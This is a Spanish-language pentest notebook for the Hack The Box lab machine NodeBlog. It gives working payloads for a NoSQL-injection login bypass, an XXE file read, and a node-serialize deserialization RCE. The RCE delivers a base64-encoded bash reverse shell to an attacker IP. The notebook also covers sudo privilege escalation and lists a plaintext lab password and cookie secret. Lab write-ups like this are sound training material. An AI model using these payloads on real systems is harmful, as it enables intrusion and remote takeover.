NodeBlog 10.10.11.139

Enumeration

TCP

PORT   STATE SERVICE VERSION
22/tcp   open ssh   OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
5000/tcp open http   Node.js (Express middleware)
|_http-title: Blog

UDP

Web Services

Nikto

Dirb\DirBuster

No se encontró

WebDav

CMS

Other Services

SMB

SNMP

DB

Other

NoSQL

Exploitation

Service Exploited: Node JS; Inyección NoSQL; XXE
Vulnerability Type: Deserealización
Exploit POC: Node JS RCE
Description:
• El servicio cuenta con una DB no relacional la cual es NoSQL, si no se sanitiza los campos de entrada es posible usar una inyección para hacer un bypass al login
• La inyección XXE se realiza cuando un campo XML no se encuentra regulado o controlado, por lo tanto es posible ejecutar comandos a nivel de consola (Para lectura de archivos).
• El código en server.js; la serialización es una brecha altamente explotable ya que permite ejecución de comandos a nivel de consola sin ninguna restricción, solo las que tenga el usuario que la ejecuta.

Discovery of Vulnerability
• Como primer paso se explotó el inicio de sesión del servicio, el cuál se uso para obtener una cookie de sesión, por medio de una inyección NoSQL hacemos un bypass al servicio.
• Luego de poder acceder, revisamos el servicio y encontramos el vector de ataque para una inyección XXE, la cual se aprovecha por medio de un archivo; esto se identifico subiendo un archivo arbitrario en lo cual lanzó un error, si revisamos con burpsuite es posible identificar la etiqueta XML que usa; bajo esta suposición se crea un archivo con estas etiquetas para ver la respuesta en el servicio (acá se realiza la inyección XXE).
• Al identificar el XXE, procedemos a navegar dentro del servidor para obtener más brechas de ataque, fue posible acceder al archivo server.js y se logra identificar el componente de serialización

dentro de este archivo.

Exploit Code Used

• curl -X POST http://10.10.11.139:5000/login -H 'Content-Type: application/json' -d '{"user":"admin","password":{"$ne":"password"}}' -v
• xxe.xml "<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///opt/blog/server.js">]>
<post>
<title>Flag</title>
<description>User</description>
<markdown>&xxe;</markdown>
</post>
• tcpdump -ni tun0 icmp
• {"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ping -c 1 10.10.14.2', function(error, stdout, stderr) { console.log(stdout) });\n }()"}
• “bash -i >& /dev/tcp/10.10.14.8/443 0>&1”
• A base 64 YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzQ0MyAwPiYxCg==
• Si ejecutamos esto en consola, verificaremos si funciona echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzQ0MyAwPiYxIgo= |base64 -d| bash
• {"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzQ0MyAwPiYxIgo= |base64 -d| bash', function(error, stdout, stderr) { console.log(stdout) });\n }()"}
•%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%

Proof\Local.txt File

☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel

Post Exploitation

Script Results

Host Information

Operating System

Architecture

Domain

Installed Updates

File System

Writeable Files\Directories

Directory List

Running Processes

Process List

Installed Applications

Installed Applications

Users & Groups

Users

Groups

Network

IPConfig\IFConfig

Network Processes

ARP

DNS

Route

Scheduled Jobs

Scheduled Tasks

Priv Escalation

Service Exploited: Ausencia del mínimo privilegio
Vulnerability Type: Error de configuración
Exploit POC:
Description:
• Las cuentas de usuario creadas y usadas en el servidor, no cuenta con el principio dle mínimo privilegio, por lo tanto es posible realizar una cantidad de acciones que deben requerir privilegios elevados

Discovery of Vulnerability
• sudo -l
• User admin may run the following commands on nodeblog:
(ALL) ALL
(ALL : ALL) ALL

Exploit Code Used
• sudo -l
• mongo
• show dbs;
• use blog;
• db.users.find()

Proof\Local.txt File

☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel

Goodies

Hashes

Passwords

admin:IppsecSaysPleaseSubscribe

Proof\Flags\Other

Software Versions

Software Versions

Potential Exploits

Methodology

Network Scanning

- ☑ nmap -sn 10.11.1.*
- ☐ nmap -sL 10.11.1.*
- ☐ nbtscan -r 10.11.1.0/24
- ☐ smbtree

Individual Host Scanning

- ☑ nmap --top-ports 20 --open -iL iplist.txt
- ☐ nmap -sS -A -sV -O -p- ipaddress
- ☐ nmap -sU ipaddress

Service Scanning

WebApp

- ☐ Nikto

- ☐ dirb
- ☐ dirbuster
- ☐ wpscan
- ☐ dotdotpwn
- ☐ view source
- ☐ davtest\cadevar
- ☐ droopscan
- ☐ joomscan
- ☐ LFI\RFI Test

Linux\Windows

- ☐ snmpwalk -c public -v1 *ipaddress* 1
- ☐ smbclient -L //ipaddress
- ☐ showmount -e ipaddress port
- ☐ rpcinfo
- ☐ Enum4Linux

Anything Else

- ☐ nmap scripts (locate *nse* | grep servicename)
- ☐ hydra
- ☐ MSF Aux Modules
- ☐ Download the softward

Exploitation

- ☐ Gather Version Numbes
- ☑ Searchsploit
- ☐ Default Creds
- ☐ Creds Previously Gathered
- ☐ Download the software

Post Exploitation

Linux

- ☑ linux-local-enum.sh
- ☐ linuxprivchecker.py
- ☐ linux-exploit-suggestor.sh
- ☐ unix-privesc-check.py

Windows

- ☐ wpc.exe
- ☐ windows-exploit-suggestor.py
- ☐ windows_privesc_check.py
- ☐ windows-privesc-check2.exe

Priv Escalation

- ☐ acesss internal services (portfwd)
- ☑ add account

Windows

- ☐ List of exploits

Linux

- ☑ sudo su
- ☐ KernelDB
- ☐ Searchsploit

Final

- ☐ Screenshot of IPConfig\WhoamI
- ☐ Copy proof.txt
- ☐ Dump hashes
- ☐ Dump SSH Keys
- ☐ Delete files

Log Book

Se identifica al usuario admin por medio de la plataforma de login, al ingresar una contraseña erronea nos lanza un mensaje que nos da la pista.

Server js

```
const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
//var session = require('express-session');
const app = express()

mongoose.connect('mongodb://localhost/blog')

app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: "UHC-SecretKey-123"}));

function authenticated(c) {
    if (typeof c == 'undefined')
        return false

    c = serialize.unserialize(c)

    if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
        return true
    } else {
        return false
    }
}



app.get('/', async (req, res) => {
    const articles = await Article.find().sort({
        createdAt: 'desc'
    })
    res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated:
```

```
authenticated(req.cookies.auth) })
})

app.use('/articles', articleRouter)
app.use('/login', loginRouter)


app.listen(5000)
```